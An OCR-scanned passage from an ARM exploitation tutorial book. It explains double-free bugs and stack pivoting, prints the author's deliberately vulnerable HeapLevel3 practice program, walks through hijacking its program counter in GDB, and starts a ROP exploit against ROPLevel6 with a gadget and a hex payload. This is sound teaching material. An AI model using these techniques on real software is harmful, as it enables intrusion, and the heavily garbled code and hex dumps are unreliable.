
0x00111a00

0x00111a49

0x00111a8@

This diagram is simplified for the purpose of this explanation.

. Notice that this heap is divided into 3 separate 64-byte pieces.

~ Each of the blocks are marked as free memory, as indicated by the
‘free’ on the right-hand side.

Let's assume the program wants to allocate a 64-byte chunk of
memory using malloc().

32
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The variable ‘ptrl’ is a pointer to the first 64-byte chunk of
memory at address @x00111a0@. As shown in the diagram below, some
random data has been written to this area of memory and this whole
chunk has been marked as ‘in use’, letting the process know that |
this memory is not to be used for new allocations.

ptrl = malloc(64);

0x00111a00 | AAAABBBBCCCCDDDDEEEE

0x00111a40

0x00111a80

9344

We’'ll now assume that the program has finished using this memory
and so it frees it with a call to free().

33
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The chunk is now marked as ‘free’ once again and this area of

.ome nemory is available for new allocations.

thole
at

ptrl = malloc(64);
free(ptrl);

0x001112a0@ f§ AAAABBBBCCCCDDDDEEEE

0x00111a40

0x00111a80

The process now wants to make another memory allocation. This time
we use a new variable ‘ptr2’ and once again call malloc() with 64
to request another 64-byte memory block.

ry Since the first chunk on the diagram is free, the process can
reuse this memory for the new allocation.

34
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The ‘ptr2’ variable now also points to memory address 0x00111a0@
and some new data is written to this block. This block of memory
is now marked as ‘in use’ again.

ptrl = malloc(64); ptr2 = malloc(64);
free(ptrl);

0x00111a00

00001111222233334444

0x00111a40

0x00111a80

EENE

This is where it gets interesting. We have two pointers (both l
‘ptrl’ and ‘ptr2’') pointing to the same memory area on the heap.
As ‘ptrl’ has not been set to zero, it is a ‘dangling pointer’.

——

The term ‘dangling pointer’ may be familiar to you from when we
looked at ‘Use-After-Free’ bugs in Volume I. It refers to a
pointer that points to some memory that was deallocated. Dangling
pointers can obviously be very dangerous if there is a point in
the program that still treats the pointer as valid because an
attacker could potentially reallocate the memory with controlled '
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0 data and affect the execution flow by overwriting function

pointe I'S.
1n this theoretical program we’ll assume there is no point in code
{hat~tries to use this pointer after it has been free()'’d .

Except for one! We’ll assume there is a point in the program that

tries to free() that pointer again.

This may sound harmless at first. What's the big deal with
free()'ing a pointer twice? Sure, it doesn’t sound like something
that is meant to happen but surely it can’t be as bad as if the
program were to try and use that pointer to call functions, right?

wrong!

It can be just as bad as a classic UAF vulnerability. There are
only a few additional steps required in order to exploit it.

iv
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In our theoretical program the ‘double free()' bug gives us the
ability to free() ‘ptrl’ twice.

If the second free() happens after we have allocated memory for
‘ptr2’ then this second free() will effectively free the memory
being used by ‘ptr2’ because both pointers are pointing to the
exact same location.

ptrl = malloc(64); ptr2 = malloc(64);
free(ptrl);
free(ptrl);

0x00111a00

00001111222233334444

0x00111a40

0x00111a80

29944

On the diagram above you can observe that the memory is now marked
as ‘free’ again even though ‘ptr2’ is still using it. Since the
program never actually called free() on ‘ptr2’, the program will
be oblivious to the fact that its memory is actually considered
free and so will continue to use the pointer normally. Thus, a UAF
condition is born!

37
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we can now create a third pointer, ‘ptr3’ and call malloc(64) one
more time. This, again, will return the same block of memory (at
address 0x00111a00) since it is marked as free.

Now we have two active pointers, ‘ptr2’ and ‘ptr3’, both pointing
to the exact same block of memory. Modifying the contents of one
Jill affect the other!

Assuming ‘ptr2’ is used to hold some kind of data containing
function pointers, we can very easily obtain control over the

program counter.

we can copy some random data to ‘ptr3’, and ‘ptr2’ will
unwittingly be used normally by the program despite its contents
peing modified! If this new data overwrites the point at which a
function pointer should be located, when that function pointer is

used the program will attempt to execute code from an attacker
controlled address!

ptrl = malloc(64); ptr2 = malloc(64);
free(ptrl);
free(ptrl); -
ptr3 = malloc(64);

( strcpy(ptr3,”AAAABB"); )

0x00111a00 B AAAABBBL222233334444
Wi 5
g
wn
[¢']
= ]
0x00111a40
Vi -
3
[4']
1]
==\
0x00111a80
v —h
3
m
lj-
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That’'s the theoretical side to how double free()'s can be
exploited. To further educate you we will take a look at
HeapLevel3, one of my exploit exercise binaries for ARM, to
demonstrate how this type of bug can be exploited in an actual
program.

Below is the source code of HeapLevel3. You can download the
source code and the ARM-compiled binary from https://github.com/

Billy-Ellis/Exploit-Challenges if you want to run this program on
your own device,

Heaplevel3.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

void secret(){
printf("\033[1m\nCongrats!\n\n\x1lbl[om");
exit(0);

}

struct device{

int (*funcl)();
int (*func2)();
int (xfunc3)();
int (*func4)();
char a[32];

};

void funcl(){

printf("Test 1 succeeded.\n");
}
void func2(){

printf("Test 2 succeeded.\n");
}
void func3(){

printf("Test 3 succeeded.\n");
}
void funca(){

printf("Test 4 succeeded.\n"});
}
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int mainO{

struct device *_device;
char *str;

rintf("\nwelcome to HeaplLevel3!\nCreated by
\033[1m@bel1is1000\x1b[Om\n\n");

while (1){
printf("[1] Allocate string\n[2] Free string\n[3] Allocate

device\n[4] Free device\n[5] Verify device\n[6] Quit\n");
int choice;
scanf("%d",&choice);

switch (choice){
case 1:

// allocate string
printf("Enter characters:\n");
char datalés4];
scanf("%63s",data);

str = malloc(256);
strncpy(str,data, 64);

// DEBUG
printf("String is at %p\n",str);

break;
case 2:

// free string
free(str);
break;

case 3:

// allocate device

_device = malloc(256);
_device->funcl = funcl;
_device->func2 = func2;
_device->func3 = func3;
_device->func4 = funcé;

printf("Device is at %p\n",_device);

break;
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case 4:

// free device
if (_device){
free(_device);
_device = NULL;
}else{
printf("No device active.\n");

¥

break;
case 5:

// verify device

if (_device){
_device—>funcl();
_device—>func2();
_device->func3();
_device->func4();

}else{
printf("No device active.\n");

} |

break;

case 6:

// quit
exit(o);

break;

default:
printf("Invalid option.\n");
break;

}

return 0;

Briefly glancing at the source code above, you may already notice
that this program is structured in a very similar way to
HeapLevel2, the previous heap-based exploit exercise that we
discussed in Chapter 10 of Volume I.

In fact, both HeapLevel2 and HeaplLevel3 use the exact same
looping-menu interface as each other with both of them providing 6
options for the user to select.

 https://t.me/learningnets i L
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Below is a screenshot of the menu system in HeapLevel3:
Billys—-N4BAP:/var/mobile root# ./heaplevel3

welcome to Heaplevel3!
created by @Gbellisieee

[1] Allocate string

[2] Free string

[3] Allocate device
[4] Free device

[5] Verify device
[6] Quit

Each of the 6 options either allows the user to allocate some
memory for a string or device, free memory used by a string or
device, verify a device or quit the application.

If you remember, exploiting HeapLevel2 was as simple as allocating
a device (option 3), freeing that device (option 4), allocating a
string with controlled data (option 1) and then verifying the
device (option 5) which resulting in using a device object after
it was free()’'d.

In Heaplevel3, there has been a check added that prevents this UAF
condition. In case 5 of the case-statement in the source code
above, an if-statement checks if a device is active before
attempting to call any of its function pointers.

case 5:

_device->funcil();

_device->func2();

_device->func3();

_device->func4();
}else{

printf("No device active.\n");

}

42
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So instead, to exploit Heaplevel3 we will have to use another bug.
Luckily for us, there is a double free() condition in case 2 of
the case-statement.

case 2:

// free string
free(str);

break;

This is the only code that runs when the user selects option 2. A
single call to free(), with no checks to see whether or not there
is even a string allocated. Therefore, achieving a double free()
condition is as simple as selecting option 2 more than once
without allocating another string. Perfect!

Let's use what we know about double free() exploits to

successfully obtain control over R15/PC on HeapLevel3, stepping
through with GDB along the way so that we can observe the memory
behind the scenes. |

In the screenshot below I have started GDB with HeapLevel3 and
have set two breakpoints - one after the malloc() call when

allocating a device, and one just before the calls to the device's
function pointers.

Billys-N4BAP:/var/mobile rtoot# gdb haaplavel3

warning: unrecognized host cpusubtype 11, defaulting to host==armv7.

fust/bin/gdb: line 136: file: command not found

Jusr/bin/gdb: line 171: file: command not found "
GNU gdb 6.3.50-20058815 (Apple version gdb-1708 + reverse.put.as patches v8.4) (Mon Apr 16 00:63:47(F
UTC 2012)

Copyright 2804 Free Software Foundation, Inc.

GDB is free softwara, covered by the GNU Ganeral Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying” to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as “arm-apple-darwin”...Reading symbols for shared libraries . done

(gdb) b *@x000@8bcd8
Breakpoint 1 at 8xbcd8
(gdb) b *8x0008bdas
Breakpoint 2 at &xbdaé4
(gab) i

Now we can type ‘run’ to start the execution of HeaplLevel3.
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ug- The first option we will choose is 1 as this will allocate a
: string, which we already know we can free() as many times as we
want without reallocating.

HeaplLevel3 actually prints out a pointer to where the new string
object is located in memory which will be useful later.

welcome to HeapLevel3!
created by @bellisieee

{11 Allocate string
[2] Free string

A [3] Allocate device
) (4] Free device
are (5] Verify device

[6] Quit

1

Enter characters:
aaaabbbbccecdddd

string is at| @x16638b20
[1] Allocate string

[2] Free string

g [3] Allocate device
[4] Free device
y [5] Verify device

[6] Quit

Next, we free() the string by selecting option 2.

String is at 9x16638b20
[1] Allocate string
[2] Free string

[3] Allocate device
[4] Free device

([[6]1 Verify device
[6] Quit

2

[1] Allocate string
[2] Free string

[3] Allocate device
[4] Free device

[5] Verify device
[6] Quit

At this point, the block of memory that we just used for the
string allocation is free again. That means that any new
allocation made now will reuse this block of memory (assuming that
the requested allocation size is not greater than the size of this

block, which it isn’t because both the string and device request
44
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256 bytes of memory) so we’ll now allocate a device by selecting
option 3.

Since our first breakpoint was set at the instruction after the
device’s call to malloc(), the task is suspended by GDB and we are
free to explore the process.

Looking at the register state (with ‘i r’' or ‘info registers’) we
can observe that the value inside R@ is 0x16638b20.

Allocate string
Free string
Allocate device
Free device
Verify device
Quit

Breakpoint 1, ©xe0e93cd8 in main ()

0x16638b20 375622432
BX.1 L
0x0 2]
0x600004 6291460
ox0 (]
0x0 [}
ox0 2}
0x198800 1673216
0x198804 1673220
Oxffffffff il
oxo [*]
| ox0 a
0x1060f 65551
| 0x19876¢c 1673068
0x35417d5d 893484381
0x93cd8 685460

This is the pointer that malloc() has just returned for the device
allocation and it is the same address in memory that was used for
our string. Great!

| Note: when attacking a real system, it is often very difficult to
get a second allocation at a specific address. This is because
other system resources are constantly allocating and freeing
memory, so it is very likely that some other allocation will beat
you to it and ‘steal’ that pointer from you. As a result of this,

‘ extra steps usually need to be taken to properly manipulate the

| heap memory and improve the probability of making multiple

: allocations at chosen addresses.
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9 ight now the program is in a paused state directly after the call
0 malloc(). This means that the device has not yet been properly
get up in memory, so inspecting the contents of address 0x16638b20

ar onwards will reveal the remains of our previously allocated
e

string.

we

(gdb) x/64wx 0x16638b209

9x16638b20:
px16638b30:
9x16638b40:
px16638b50:
0x16638b60:
px16638b70:
px16638b80:
ox16638b90:
9x16638ba0:
9x16638bb0:
0x16638bc@:
9x16638bd0:
9x16638be0:
0x16638bf0:
9x16638cR0:
0x16638c10:

9x70000000
0x00000000
0x00000000
0x00000000
0x70000000
0x00000000
0x16638b40
Ox64626168
0x70000000
0x00000000
0x00000000
0x73627573
0x381db159
2x00000000
0x16638b80
Ox74756F72

0x70000000
0x00000000
0x00000000
0x00000000
0x70000000
0x00000008
0x16638ae8
Ox0000656¢C
©x70000000
0x00000008
0x16638ad8
Ox65747379
OxXfFffffff
0x00000008
Ox16638ae8
0x00656e269

Ox63631023

0x00000000
0x00000000
0x00000000
oxffffeolf
0x0000139b
Ox16638b69
0x00000000
oxffffeolb
0x00000003
0x16638babd
0x0000006d
OXffTfffff
0x00000323
0x16638bed
0x00000000

0x64646464
©0x00000000
0x00000000
0x00000000
0x00000000
0x00020000
©x00000000
0x00000000
0x00000000
0x00020000
0x00000000
0x00040000
0x00000000
0x00060000
0x00000000
0x00000000

Only some of the string data remains because other parts have
already been corrupted by heap meta data.

Continuing on from the first breakpoint, we are given confirmation
that the device has been allocated at address 9x16638b20.

Jice
for

(gdb) c

Continuing.

Device is at! ©x16638b20
[1] Allocate string

to [2] Free string

[3] Allocate device

[4] Free device

[5] Verify device

[6] Quit
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Next we are going to select option 5 to ‘Verify’ the device. Thig
is not a part of the exploit process, but I thought it would be
interesting to do so anyway since it will give us a glance at the
internal memory layout of the ‘device’ that we have just allocateq
because our second break point is set around this location.

After choosing option 5 and inspecting the memory at address
0x16638b20 once again, we can see the 4 function pointers that are
used to verify the device.

Device is at ©x16638b20
Allocate string |
Free string h
Allocate device |
Free device |
Verify device

[1]
[2]
[3]
([4]
[5]

[6]
5

Quit

Breakpoint 2, 0x00093da4 in main ()

(gdb) x/64wx,_Ax146A38h20
0x16638b20:
9x16638b30:
0x16638b49:
9x16638b50:
0x16638b60:
[@x16638b70:
0x16638b80:
0x16638b90:
0x16638ba0d:
0x16638bbo:
0x16638bco:
0x16638bd0:
0x16638bed:
0x16638bf0:
0x16638¢c00:
Bx16638c10:

0x00093b08
0x00000000
0x00000000
0x00000000
0x70000000
0x00000000
0x16638b40
Ox646€6168
0x70000000
0x00000000
0x00000000
0x73627573
0x381db150
0x00000000
0x16638b80
Ox74756172

0x00093b30
0x00000000
0x00000000
0x00000000
Ox70000000
0x00000008
0x16638ae8
0x0000656¢C
0x70000000
0x00000008
Ox16638ads8
Ox65747379
OXFFffffff
0x00000008
0x16638ae8
0x00656e69

0x00093b58
0x00000000
0x00000000
0x00000000
Oxffffeolf
0x00080139b
0x16638b60
0x00000000
OxFTffoelb
0x00000003
0x16638ba@
0x0000006d
OxXFFFfffff
0x00000323
0x16638be0
0x00000000

0x00093b80
9x008000060
9x00000000
9x00000000
0x00000000
0x00020000
0x00000000
0x00000000
9x00000000
9x00020000
9x00000000
0x00040000
0x00000000
0x00060000
9x00000000
9x00000000

They point to funcl(), func2(), func3() and func4() in that order.
As shown in the source code, each of these functions print out a
single line of text each.
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his .nuing execution, we can see these 4 lines of text displayed
confirming that the device was set up correctly.

ContinUing'
Test 1 succeeded.

Test 2 succeeded.
Test 3 succeeded.
Test 4 succeeded.

Now for the fun part — corrupting the contents of the device’s
memory and modifying one of the function pointers to take control

of code execution!

ALL we need to do is select option 2 again (which will free() the
memory pointed to by the original string pointer, but which is now
peing used by the device), and then select option 1 to reallocate
it with another string. The contents of this new string will be
written directly over the memory being used by the device.

der.
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We can enter some junk data for the string and then hit ‘enter’ on
the keyboard. The memory block at 0x16638b20 is again at the top
of the list of free memory blocks (since we free()'d it again
despite it being allocated to the device) and so it is used for a
third time for this new string allocation.

HeaplLevel3 confirms this to be the case by displaying the address
0x16638b20 in the console after the string has been allocated some
memory.

[1] Allocate string
[2] Free string

[3] Allocate device
[4] Free device

[5] Verify device
[6] Quit

2

[1] Allocate string
[2] Free string

[3] Allocate device
[4] Free device

[56] Verify device

[6]1 Quit
A

Enter characters:
AAAABBBBCCCCDRRD. .
String is at.@x16638b20
[1] Allocate striny
[2] Free string

[3] Allocate device

[4] Free device

[5]1 Verify device

[6] Quit

All of the hard work is now done. The only thing left to do is to =
trigger the bug by attempting to verify the device again. '

HeaplLevel3 will allow us to do this without any error since it has
not free()'d the memory being used by the device object and
therefore still believes it to be valid and is completely

unaware .that something else in the program has modified that
memory.
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we select option 5 again and have one final look at the state of

on

to

has

the memory at address 0x16638b2@0. Instead of the function pointers
that we saw earlier, we now see the arbitrary values that make up

our string.

Allocate string
Free string
Allocate device
Free device
Verify device
Quit

Breakpoint 2, 0x00093da4 in main ()

{gdb) x/64wx_Ax16A3Rh20Q

0x16638b20:.
9x16638b30:
0x16638h40:

©x16638b50:
9x16638b60:
9x16638b70:
0x16638b80:
Px16638b90:
0x16638babd:
9x16638bb0:
9x16638bcO:
0x16638bdo:
0x16638be0:
0x16638bf0:
9x16638c00:
9x16638c10:

Ox41414141 9x42424242 0X43434343

3 CULLECLT
0x00000000
0x00000000
0x70000000
9x00000000
0x16638b40
0x646e6168
0x70000000
9x00000000
0x00000000
Px73627573
9x381db150
©x00000000
0x16638b80
Ox74756172

Y CIT UL

0x00000000
0x00000000
9x70000000
0x00000008
0x16638ae8
Px0000656¢C
0x70000000
0x00000008
9x16638ad8
0x65747379
Oxffrfffff
9x00000008
Bx16638ae8
0x00656e69

vXbubuvouY
0x00000000
0x00000000
oxffffoolf
0x000013%b
0x16638b60
0x00000000
oxffffeelb
0x00000003
0x16638ba0d
0x0000006d
oxffffffff
0x00000323
0x16638bed
0x00000000

0x44444444
vXbovvYovvy
0x00000000
0x00000000
0%x00000000
0x00020000
0x00000000
0x00000000
0x00000000
0x00020000
0x00000000
0x00040000
@x00000000
0x00060000
0x00000000
0x00000000
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Continuing execution, HeaplLevel3 will attempt to branch to the 4
function pointers but instead will jump to the arbitrary addresses
that we replaced them with!

(gdb) ¢
Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address:
0x41414140 in ?2? ()

Ox41414140

The program terminates with the EXC_BAD_ACCESS signal suggesting
that it attempted to access unmapped memory.




We can inspect the registers and find that we have full control
over R15/PC!

Ox41414141 1094795585

0x16638b20 375622432

#x93c2c 605228

0x40 64

ox0 4]

ox0 (%]

ox0 (/]

0x198800 1673216 |
0x198804 1673220

0x381e3590 941503888

ox0 (%]

ox0 %]

0x12068 73832

0x19876c 1673068

Ax93dar  AR5612

Ox41414140 1094795584

We have managed to turn a seemingly innocent double free() bug
into something that gives us control over the execution flow of
the process!

Reliability Rate

|
I thought I'd expand on the point I made about the low probability H
of being able to reallocate the same memory address multiple times
- even though HeaplLevel3 is a very basic program with not much
functionality other than what we’ve discussed in this chapter, I
still occasionally ran into the problem where I could not
reallocate the same area of memory on the heap.

This only happened around 10 — 20% of the time, but when it did
happen the application would crash as a result of trying to jump
to some random meta data on the heap that was not attacker-
controlled:

III

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: @x70000000

@x70000000 in ?? ()
(gdb) J
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n the case of HeaplLevel3, I could not find a feasible way of
imprGVing this reliability rate since the program is so small and
there are hardly any other ways in which we can interact with it

or affect its memory.

on the other hand, when exploiting a double free() bug (or a
5tand3rd Use-After-Free) in a larger program or in the kernel
there are normally ways in which the exploit developer can improve
the‘likelihood that they will be able to reallocate the same
qemory area multiple times.

one of these ways is to use a technique known as ‘heap feng shui’
to manipulate the layout of the heap. We will discuss this in

detail in Chapter 6.
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Conclusion

' This chapter has introduced a variation of the ‘Use-After-Free’
bug that you should be familiar with from Volume I.

| We have discussed how an attacker can use a double free() to their
advantage and successfully manipulate the memory being used by
another part of a program to achieve control over execution flow.

The next chapter will introduce a modern technique that is
essential to exploit developers when attempting to execute a
payload after exploiting a heap-based bug such as a double free()
or UAF.
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stack Pivoting

As you will already know, Return Oriented Programming is used to
construct payloads for exploits of many kinds. However, in some

cases, it is not possible to execute a large ROP payload without
using what is known as a ‘stack pivot’ beforehand.

Stack pivoting is the name given to the process of creating a fake
stack for your ROP chain and making the program believe it is the
real stack by manipulating the Stack Pointer value,

why is it needed?

Many of the exploitable vulnerabilities found in modern software
today revolve around the heap as oppose to the stack. Such
vulnerabilities include heap buffer overflows, use-after-free,
double free(), all of which have been covered in this book series.

The problem with heap-based vulnerabilities is the fact that we
often have very limited (or none what so ever) control over the
data on the stack. This is not an issue if we plan on directing
the program execution flow to a single winner() function, but if
we plan on executing something more complex, like a ROP payload,

weineed control over the stack as this is how ROP gadgets are
chained together.

When exploiting a heap-base memory corruption vulnerability, there
are two potential solutions to this problem. The first one would
involve finding a way to get your own data onto the stack so that
a ROP payload can be successfully executed. The other would be by

s:/[t.me/learningnets




using a stack pivot, which is what we will cover throughout this
chapter.

What really is the stack? i

We covered the basics of the stack in the early chapters of Volume L
I and we know that it is an area of memory that keeps track of

local variables and manages the way functions return from one L
another by storing return addresses. It works on a LIFO (Last In,
First Out) basis, much like a physical stack of bricks. You can
add bricks to the top one-by-one, and also remove them one-by-one
starting with the very top item. But this is all theoretical. This
is just the way we visualise the stack to make it easier for us to
understand. So what is the stack really?

The stack is just an area of memory like any other. In fact, the
only thing making this memory special is the fact that it is
pointed to by the Stack Pointer (SP/R13) register. As discussed in
Volume I, the Stack Pointer holds the address of the top of the
stack. In other words, whatever memory location this register
points to is considered the top of the stack. -

So theoretically, couldn’t this register point to anywhere? Even
if it is not really the top of the stack? Of course! And this is
exactly the concept stack pivoting is based around.

Take a look at the following diagram:

SP: 10 Memery

04 | 00000000
08 | 00000000
oc | 00000000 l
|10 | 41414141
14 | 42424242
18 | 43434343
1C | 44444444
20 | 45454545
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This diagram represents the stack in some program’s memory. The
Thjaw to the left of the memory is a visual representation of the
a'lt'l“ck pointer which is currently holding the value ©0x10, as you
gta

o see at the top left corner.
ca

“here are several ‘items’ on the stack, as represented by the
121414141', ‘42424242' and so on. But what really are these
citems'? How does adding and removing items really work?

- 7

when 3 PUSH instruction is executed, the expected outcome by the
}ggrammer is for a variable amount of new values to be placed on
znﬁ of the stack.

what this PUSH instruction actually does is first, decrement the
géack pointer value by a specific amount correlating with the
mﬁgunt of registers being PUSH'd onto it. What this does is
essentially ‘grow’ the stack. And yes, decrementing the stack
ﬁﬁﬁiﬂtﬁr does in fact grow the stack and not the other way around
:hecause the stack always grows towards the lower addresses.

For. example, subtracting @x4 from the stack pointer value causes
‘the top of the stack to rise 4 bytes and therefore makes room for
2 new item which will be written to the memory location pointed to
by this new stack pointer value.

SP: 0C Memory

04 | 00000000
08 | 00000000
» | 0C
10 | 41414141
14 | 42424242
18 | 43434343
1C| 44444444
20 | 45454545
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For POP instructions, the process is even simpler. All that needs
to happen is the stack pointer be incremented by a variable
amount. And since the stack grows downwards, it will shrink
upwards.

.Incrementing the stack pointer value by 0x4 causes the top of the
stack to be 4 bytes lower, therefore disregarding the top-most
item on the stack.

SP: 14 Memory

04 | 00000000
08 | 00000000
0C | 00000000
10 | 41414141
B |14 | 42424242
18 | 43434343
1C| 44444444
20 | 45454545

You will notice that the old data does not necessarily have to be
‘ cleared or ‘zeroed-out’. With the stack pointer incremented, this
old data is no longer considered a part of the stack so until that
memory space needs to be used for something else it may continue
‘ to hold this old value.

Hopefully this better illustrates the use of PUSH and POP
instructions and how they actually interact with the stack. But
you still may be wondering, what is this ‘pivoting’ thing?

On the next page you will find another diagram explaining the
| process of carrying out a stack pivot in a modern exploit.
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diagram to the right represents
memory of an
application- Towards the bottom
area, there is a small section
labelled as the stack.

The
the p rocess

The ctack base and stack pointer
have also been represented using
arrows to clearly identify both the
pottom and top of the stack, but we
will only be interested in the stack

poj_n‘ter.

Now assume that you have control of
some other memory, most likely on

the heap.

0x00000000

Heap memory

Stack pointer P>

0x00000000

Stack pointer P>
STACK

Stack Base P

OXFFFFFFFF

In this controlled memory, you craft
a ‘fake stack’ consisting of
addresses to useful gadgets in the
program’s _ TEXT segment.

You also have discovered a memory
corruption bug of some kind that
gives you control over the Program
Counter, giving you the ability to
execute arbitrary code!

But wait - imagine that this

particular memory corruption bug is
based around the heap and, as it

Stack Base P

turns out, gives you only a single

gadget worth of execution before

OXFFFFFFFF

returning to the ‘real’ stack which

you unfortunately do not control.

What can we possibly do with only a single gadget? The answer -
find a gadget that allows us to ‘stack pivot’' into our fake ROP
stack, thus giving us the ability to execute the full ROP chain.

58
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This stack pivot gadget will need to allow us to overwrite the
current value stored inside the stack pointer register with a
value that we control. This gives us the ability to essentially
change what is considered the 'top of the stack’.

We can make the stack pointer point to the start of our controlleq
area on the heap. The program will now treat the start of this
attacker—controlled memory as the top of the stack.

e
0x00000000

0x00000000

Heap memary Heap memory

Stack pointer Stack pointer P

FAKE ROP
STACK

Stack Base P Stack Base P

OXFFFFFFFF OXFFFFFFFF

Since this whole chunk of memory is now theoretically combined
into one and now understood by the program as the ‘stack’, when
the first gadget (the pivot gadget itself) returns it will return
into the next gadget on top of the fake stack and every gadget
executed after that will do the same!

So now hopefully you can see how stack pivoting can be a very
useful technique used to overcome limitations when attempting to
execute a large ROP payload.

For the rest of this chapter we will look into an example of stack
pivoting by exploiting yet another exploit challenge - ROPLevelb6.
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Understanding the vulnerability

y RgPL€V916 is vulnerable to a classic heap-based buffer overflow
that gives the attacker control over a function pointer. Due to

lleg the nature of this specific bug, we are only given a single gadget
yorth of arbitrary code execution.
gut first, let’s see how we can interact with the program.

" Executing it on my iPhone over SSH displays the following output:

billyellis — ssh reot@192.168.1.164 — 80x24
pillys~-N4BAP!/var/mobile/ROPLeveld root# ./ropleveld |
welcome to ROPLevelé created by @bellisied@! This challenge involves using a sta
| ck pivot to execute a ROP chain :-)
| Enter 2 path for object data:

A short welcome message is displayed and then we are prompted to
1 enter a file path to a file containing some raw bytes as data.
arn This data is then copied to a buffer on a newly allocated heap
chunk, which happens to be placed directly in front a function
pointer. By now you can already guess, we will gain control over
R15 (program counter) by supplying a data file containing a large
amount of data in order to overwrite the value of this function
to pointer.
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After typing the path to a file (in this case something simple
containing “AAAABBBBCCCC”) the program displays another short
message confirming that the file we have specified is considered
valid.

L ” billyeliis — ssh root@192,168,1.164 — B0x24
IBillys-N48AP:/var/mobile/ROPLevelé root# ./roplevelé

Welcome to ROPLevels created by Gbellisieee! This challenge involves using a sta
ck pivot to execute a ROP chain :-)

Enter a path for abject data:

1./file

Object is validl

That's all!

B1i11ys—N4BAP:/var/mobile/ROPLevels root# J§

This message is actually coming from another function - a function
pointed to by the same function pointer that is located directly
after the data buffer on the heap. This therefore makes it
effortless for us to gain code execution.

Here's a quick visualisation:

Heap

func
char buff[64] ptr unused

Above is a simplified diagram of the heap chunk used in this
program.

61
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when 2 file path is entered, the program copies all data from the
pecj_fied file into the 64-byte buffer on the heap.
5

Heap

func
unused

obviously, being a 64-byte buffer, it can hold up to 64 bytes. Any
data larger than 64 bytes should in theory be only copied up until
&he point of the 64th byte. However, with this being another
example exercise, the program does not do this and will continue

writing data out of the bounds of the allocated buffer.

unused

If enough data is entered (not accurate in the diagram), we
overflow into adjacent memory and are able to change the value of
the function pointer. Immediately after this copy is performed,
pﬁe overwritten function pointer is called as this is expected to
i"'nt to the function that validates the data, giving us a very
éﬁmple path to arbitrary code execution!
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Finding a stack pivot We
1\
Now that we've clearly identified our method of controlling R15 we ?rc
can look into finding a useful stack pivot. As already discussed, ROF
a stack pivot involves modifying the stack pointer to point to
attacker—-controlled memory. The only memory that we fully control For
in this example is the data buffer on the heap. Therefore, our wit
stack pivot must fit the following criteria: fir
cor
—must be doable with a single gadget col
—must change stack pointer to point to start of (or somewhere Bel
inside) the data buffer fol
Luckily for us there happens to be a gadget fitting this exact
criteria!
This gadget can be found under the ‘_gadget_library’ label:
_gadget_library:
0000bd54 mov sp, r5
0000bd58 pop {r4, pc}
The gadget consists of two instructions. The first ‘mov sp, r5’ .
copies the value inside R5 to SP (the stack pointer). And as it
turns out, R5 would hold a pointer to the start of the data buffer :
on the heap at the time we would make use of this gadget. We can
confirm this by looking at the part of the main{() disassembly that
makes the call to malloc().
0000bd94 bl imp__ symbolstubl__malloc
0000bd98 str re, [r7, var_8] L
0000bd9c mov r5, ro
So what is happening here? A call to malloc() is made at
0x0000bd94. Once malloc() has allocated new memory on the heap it
returns a pointer to this memory which is passed in R@. At
0x0000bd98, this value is written to some other memory location
for later use by the program. And at 0x@000bd9c, the pointer from We
R® is moved into R5. Perfect! re:
pa:
Note: searching for a stack pivot when developing a real life dej
exploit would not not be as easy as this simplified example. '
|
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e now jdentified the vulnerability and found a useful stack

. hav . . .
_:h: gadget' potentially allowing us to execute a large ROP chain
115 .e;our fake stack. But we have not yet decided what we want this
. m
iseq ain to do.
0 E
itrol educational purposes, ROPLevel6 has a hidden secret() function
. ‘Ear . . :
. =ﬁ@2ﬁﬂ that, when called, will check a special code against the
W st argument passed to it and will spawn us a shell if it is
I;;fect our goal will be to call this function and pass the
col ;
correct code:
e aelow 1S the control flow graph produced by Hopper Disassembler
%ﬁr secret():
t s — n
_secret:
push {r7, 1lr}
mov r7, sp
sub sp, sp, #0x10
movw rl, #0x414f
str r0, [x7, var_4]
ldr r0, [r7, var_4]
cmp r0, rl
bne 0xbd3c
L \ ¥
51 N\, )
. 00 ) N\
it \,
n E S
wffer :ox?,:h r0, #0xbeca
movt r0, #0x0
can bl imp  symbolstubl printf 0Oxbd3c:
' that novW rl, #Oxbefl movw r0, #0xbef9
at ek rl, #0x0 movt ro, #0x0
str r0, [sp, #0x10 + var_B8] bl imp  symbolstubl_ printf
mov r0, rl str 0, [sp, #0x10 + var 10]
bl imp___ symbolstubl_ system
str 0, [sp, #0x10 + var_C)
b Oxbdic
//
\\L J z//
. Oxbd4c:
p it mov sp, r?
pop {r?, pc}
.on
from We can identify from this diagram that the first block is

responsible for checking the special code against the argument
passed and then branching to either of the two middle blocks
depending on the outcome of the comparison,
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This special 2-byte code can be seen being moved into R1 in the
instruction ‘MOVW R1, @x414f’ and then Rl being compared against
RO. In ARM assembly, R@ is used as the default register to pass
the first argument to a function and therefore secret() is
assuming that the argument is in this register.

Keep in mind, this would be done automatically by the compiler if
we were to make a legitimate call to secret() from within the
program but of course, we won't be doing that. We’'ll instead be
manually jumping to this function at some point in our ROP payload
so we’ll need to also manually load the correct code into RO.

So here’s the full exploit plan:
— overwrite function pointer on heap
— pivot stack to start of controlled memory
— execute ROP chain
- load RO with code 0x414f
- jump to secret()

— profit!

Since we've already covered the first two steps, all that is left
is to build the ROP chain. It will be easier to understand by
working in reverse, so here's an already built payload:

00000000 41 0@ 00 5c bd 08 @8 41 41 41 41 T4 bc 00 08 |OA..\...AAAA....[|

00000010 45 45 45 46 46 46 46 47 47 47 47 48 48 48 48 |EEEEFFFFGGGGHHHH! |

00000020 49 49 49 4a 4a 43 ha 4b 4b 4b 4b 4c 4c 4c 4c  |TITIJIIIKKKKLLLL

00000030 4d 4d 4d be 4e 4e he 4F 4F 4 4F 50 58 5@ 50 |MMMMNNNNOOOOPPPP|
bd 00 @9 [T...

This is the full exploit file including the stack pivot. We will

dissect this and understand exactly what is happening over the
next few pages.
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remember; the entire contents of the file specified by the path
il pe read into the buffer stored on the heap, with any extra
data overflowing into the function pointer and other adjacent
nemory- Assuming that this file will be read in by ROPLevel6, we
cén essentially view this as a kind of ‘mask’ over the heap memory

1ayout.

offset @ in the file is also offset @ in the 64-byte buffer on the
heap- This means that these first highlighted 64 bytes fit
perfectly into the dedicated buffer.

00 00 5c bd 00 °@
